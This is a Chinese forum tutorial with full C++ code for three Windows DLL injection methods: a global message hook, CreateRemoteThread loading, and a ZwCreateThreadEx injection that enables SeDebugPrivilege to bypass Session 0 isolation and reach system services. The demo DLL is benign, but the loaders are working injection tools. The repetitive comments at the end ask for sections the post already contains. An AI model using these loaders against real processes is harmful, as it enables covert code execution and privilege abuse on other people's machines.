Windows DLL注入三种实战方法：全局钩子、远程线程与Sessio

微软专家

Windows平台下的DLL注入是系统安全研究和底层开发中的常见技术，涉及在目标进程中加载自定义DLL以执行特定代码。本文基于实际注入实践，介绍三种经典注入方法：全局钩子注入、远程线程注入，以及突破Session 0隔离的远线程注入。每种方法均给出Win32 API原理、关键步骤和完整代码示例。

一、全局钩子注入
Windows消息机制中，钩子(Hook)可以截获系统或线程的消息。全局钩子注入利用SetWindowsHookEx将DLL中的钩子函数安装到钩子链中，当系统产生消息时自动加载DLL。

1.1 生成DLL
新建DLL项目，在预编译头中声明导出函数：

2. // pch.h
3. extern "C" _declspec(dllexport) int SetHook();
4. extern "C" _declspec(dllexport) LRESULT GetMsgProc(int code, WPARAM wParam, LPARAM lParam);
5. extern "C" _declspec(dllexport) BOOL UnsetHook();

复制代码

在pch.cpp中实现：

2. #include "pch.h"
3. #include <Windows.h>
4. #include <stdio.h>
6. extern HMODULE g_hDllModule;
8. #pragma data_seg("mydata")
9. HHOOK g_hHook = NULL;
10. #pragma data_seg()
11. #pragma comment(linker, "/SECTION:mydata,RWS")
13. LRESULT GetMsgProc(int code, WPARAM wParam, LPARAM lParam) {
14.     return ::CallNextHookEx(g_hHook, code, wParam, lParam);
15. }
17. BOOL SetHook() {
18.     g_hHook = SetWindowsHookEx(WH_GETMESSAGE, (HOOKPROC)GetMsgProc, g_hDllModule, 0);
19.     if (g_hHook == NULL) return FALSE;
20.     return TRUE;
21. }
23. BOOL UnsetHook() {
24.     if (g_hHook) ::UnhookWindowsHookEx(g_hHook);
25.     return TRUE;
26. }

复制代码

DLL入口文件dllmain.cpp保存模块句柄：

2. #include "pch.h"
3. HMODULE g_hDllModule = NULL;
4. BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
5.     switch (ul_reason_for_call) {
6.     case DLL_PROCESS_ATTACH:
7.         g_hDllModule = hModule;
8.         break;
9.     case DLL_THREAD_ATTACH:
10.     case DLL_THREAD_DETACH:
11.     case DLL_PROCESS_DETACH:
12.         break;
13.     }
14.     return TRUE;
15. }

复制代码

以Release X86配置生成得到DLL文件。

1.2 测试注入
创建控制台项目，加载DLL并调用SetHook：

2. #include <Windows.h>
3. #include <stdio.h>
5. int main() {
6.     typedef BOOL(*typedef_SetGlobalHook)();
7.     typedef BOOL(*typedef_UnsetGlobalHook)();
9.     HMODULE hDll = NULL;
10.     typedef_SetGlobalHook SetGlobalHook = NULL;
11.     typedef_UnsetGlobalHook UnsetGlobalHook = NULL;
12.     BOOL bRet = FALSE;
14.     do {
15.         hDll = ::LoadLibraryW(TEXT("C:\\path\\to\\DLLInjection.dll"));
16.         if (hDll == NULL) { printf("LoadLibrary Error[%d]\n", ::GetLastError()); break; }
18.         SetGlobalHook = (typedef_SetGlobalHook)::GetProcAddress(hDll, "SetHook");
19.         if (SetGlobalHook == NULL) { printf("GetProcAddress Error[%d]\n", ::GetLastError()); break; }
21.         bRet = SetGlobalHook();
22.         if (bRet) printf("SetGlobalHook OK.\n");
23.         else printf("SetGlobalHook Error.\n");
25.         system("pause");
27.         UnsetGlobalHook = (typedef_UnsetGlobalHook)::GetProcAddress(hDll, "UnsetHook");
28.         if (UnsetGlobalHook == NULL) { printf("GetProcAddress Error[%d]\n", ::GetLastError()); break; }
29.         UnsetGlobalHook();
30.         printf("UnsetGlobalHook OK.\n");
31.     } while (FALSE);
33.     system("pause");
34.     return 0;
35. }

复制代码

全局钩子注入的优点是无需目标进程配合，缺点是会影响系统性能，且容易被安全软件检测。

二、远程线程注入
远程线程注入的核心思路是在目标进程中创建线程，线程入口为LoadLibrary，参数为DLL路径，从而将DLL加载到目标进程空间。

2.1 生成DLL
仅需在DllMain中弹出消息框验证：

2. #include "pch.h"
3. BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
4.     switch (ul_reason_for_call) {
5.     case DLL_PROCESS_ATTACH:
6.         MessageBox(NULL, L"success!", L"RemoteThreadInjection", MB_OK);
7.         break;
8.     case DLL_THREAD_ATTACH:
9.         MessageBox(NULL, L"success!", L"RemoteThreadInjection", MB_OK);
10.         break;
11.     }
12.     return TRUE;
13. }

复制代码

2.2 实现注入函数
通过OpenProcess打开目标进程，VirtualAllocEx分配内存，WriteProcessMemory写入DLL路径，然后获取kernel32.dll中LoadLibraryW的地址，最后用CreateRemoteThread创建线程：

2. #include <Windows.h>
3. #include <tchar.h>
4. #include <stdio.h>
6. DWORD _RemoteThreadInjection(DWORD _Pid, LPCWSTR DllName) {
7.     HANDLE hprocess = ::OpenProcess(PROCESS_ALL_ACCESS, FALSE, _Pid);
8.     if (hprocess == NULL) { printf("OpenProcess Error\n"); return FALSE; }
10.     SIZE_T _Size = (_tcslen(DllName) + 1) * sizeof(TCHAR);
11.     LPVOID pDllAddr = ::VirtualAllocEx(hprocess, NULL, _Size, MEM_COMMIT, PAGE_READWRITE);
12.     if (pDllAddr == NULL) { printf("Memory Allocation Error\n"); return FALSE; }
14.     BOOL isWriteSuccess = ::WriteProcessMemory(hprocess, pDllAddr, DllName, _Size, NULL);
15.     if (!isWriteSuccess) { printf("Write Process Memory Error\n"); return FALSE; }
17.     FARPROC pThread = ::GetProcAddress(::GetModuleHandle(L"kernel32.dll"), "LoadLibraryW");
18.     LPTHREAD_START_ROUTINE addr = (LPTHREAD_START_ROUTINE)pThread;
20.     HANDLE hThread = ::CreateRemoteThread(hprocess, NULL, 0, addr, pDllAddr, 0, NULL);
21.     if (hThread == NULL) { printf("CreateRemoteThread Error\n"); return FALSE; }
23.     WaitForSingleObject(hThread, -1);
24.     ::VirtualFreeEx(hprocess, pDllAddr, _Size, MEM_DECOMMIT);
25.     ::CloseHandle(hprocess);
26.     return TRUE;
27. }
29. int main() {
30.     DWORD _PID = 1220; // 替换为目标进程PID
31.     _RemoteThreadInjection(_PID, L"C:\\path\\to\\DLLInjection.dll");
32.     return 0;
33. }

复制代码

注意：Windows ASLR虽使LoadLibrary地址每次启动不同，但同一时刻kernel32.dll在各进程中的基址相同，因此可安全获取。

三、突破Session 0隔离的远线程注入
Session 0隔离机制从Windows Vista开始生效，系统服务运行在Session 0，用户应用运行在其他Session。若目标进程是系统服务，普通CreateRemoteThread会被拒绝。解决办法是使用更底层的ZwCreateThreadEx函数绕过会话检查。

3.1 原理
ZwCreateThreadEx是ntdll.dll中的未文档化函数，相比CreateRemoteThread多了CreateThreadFlags等参数，可指定线程创建时不检查会话。同时，还需启用SeDebugPrivilege权限以访问系统进程。

3.2 实现代码

2. #include <Windows.h>
3. #include <stdio.h>
5. // 定义ZwCreateThreadEx函数指针
6. typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)(
7.     PHANDLE ThreadHandle,
8.     ACCESS_MASK DesiredAccess,
9.     LPVOID ObjectAttributes,
10.     HANDLE ProcessHandle,
11.     LPTHREAD_START_ROUTINE lpStartAddress,
12.     LPVOID lpParameter,
13.     ULONG CreateThreadFlags,
14.     SIZE_T ZeroBits,
15.     SIZE_T StackSize,
16.     SIZE_T MaximumStackSize,
17.     LPVOID pUnknown);
19. BOOL EnableDebugPrivilege() {
20.     HANDLE hToken;
21.     if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken)) {
22.         TOKEN_PRIVILEGES tp;
23.         tp.PrivilegeCount = 1;
24.         LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tp.Privileges[0].Luid);
25.         tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
26.         AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL);
27.         BOOL flag = (GetLastError() == ERROR_SUCCESS);
28.         CloseHandle(hToken);
29.         return flag;
30.     }
31.     return FALSE;
32. }
34. BOOL BypassSession0Injection(DWORD _PID, const char* DLLPath) {
35.     HANDLE hProcess = NULL;
36.     SIZE_T dwSize = 0;
37.     LPVOID pDllAddr = NULL;
38.     FARPROC LoadLibraryA_Addr = NULL;
39.     HANDLE hRemoteThread = NULL;
40.     DWORD dwStatus = 0;
42.     // 提权
43.     if (!EnableDebugPrivilege()) {
44.         printf("SeDebugPrivilege enable failed.\n");
45.         return FALSE;
46.     }
48.     hProcess = ::OpenProcess(PROCESS_ALL_ACCESS, FALSE, _PID);
49.     if (hProcess == NULL) { printf("OpenProcess Error\n"); return FALSE; }
51.     dwSize = ::strlen(DLLPath) + 1;
52.     pDllAddr = ::VirtualAllocEx(hProcess, NULL, dwSize, MEM_COMMIT, PAGE_READWRITE);
53.     if (pDllAddr == NULL) { printf("VirtualAllocEx Error\n"); return FALSE; }
55.     if (!::WriteProcessMemory(hProcess, pDllAddr, DLLPath, dwSize, NULL)) {
56.         printf("WriteProcessMemory Error\n");
57.         return FALSE;
58.     }
60.     HMODULE hNtdDll = ::LoadLibrary(L"ntdll.dll");
61.     if (hNtdDll == NULL) { printf("Load ntdll.dll Error\n"); return FALSE; }
63.     LoadLibraryA_Addr = ::GetProcAddress(::GetModuleHandle(L"kernel32.dll"), "LoadLibraryA");
64.     if (LoadLibraryA_Addr == NULL) { printf("GetProcAddress Error\n"); return FALSE; }
66.     typedef_ZwCreateThreadEx ZwCreateThreadEx = (typedef_ZwCreateThreadEx)::GetProcAddress(hNtdDll, "ZwCreateThreadEx");
67.     if (ZwCreateThreadEx == NULL) { printf("ZwCreateThreadEx not found\n"); return FALSE; }
69.     dwStatus = ZwCreateThreadEx(&hRemoteThread, PROCESS_ALL_ACCESS,
70.         NULL, hProcess, (LPTHREAD_START_ROUTINE)LoadLibraryA_Addr, pDllAddr,
71.         0, 0, 0, 0, NULL);
72.     if (hRemoteThread == NULL) { printf("ZwCreateThreadEx failed\n"); return FALSE; }
74.     ::CloseHandle(hProcess);
75.     ::FreeLibrary(hNtdDll);
76.     return TRUE;
77. }
79. int main() {
80.     // 以系统服务PID为例，需管理员权限
81.     BypassSession0Injection(3788, "C:\\path\\to\\artifact_x86.dll");
82.     return 0;
83. }

复制代码

关键点：ZwCreateThreadEx的第7个参数CreateThreadFlags置0可绕过Session检查；必须先提升权限。

四、总结
三种注入方法各有利弊。全局钩子注入简单但影响系统范围；远程线程注入灵活但无法穿透Session 0；突破Session 0的注入利用底层API，适合对系统服务进行DLL加载。实际应用中需根据目标进程性质和权限环境选择合适技术，并注意DLL的32/64位匹配。

热心网友4

感谢楼主的详细分享！全局钩子注入的代码示例很清晰，从DLL导出函数到测试控制台都讲得很扎实，特别是#pragma data_seg()的使用体现了跨进程共享数据的细节。期待你继续写完远程线程和Session 0隔离的部分，这两种方法在实际开发中也很常见，尤其是突破Session 0隔离对服务程序的注入很有参考价值。辛苦楼主！

热心网友4

感谢楼主的详细分享，全局钩子注入的代码示例非常清晰，从DLL编写到测试注入的流程都很完整。特别是对“影响系统性能”和“易被安全软件检测”这两点缺点的说明很实在，能让读者更全面地理解这种方法的适用场景。 期待后续远程线程注入和Session 0隔离的内容——这两种在实际对抗或渗透测试中也很常见，想知道楼主在突破Session 0隔离时具体采用了哪些API技巧。

热心网友4

感谢分享，全局钩子注入的讲解很详细，代码示例也很完整，对理解Windows消息钩子和DLL注入的实战很有帮助。期待楼主继续更新远程线程和Session 0隔离的部分。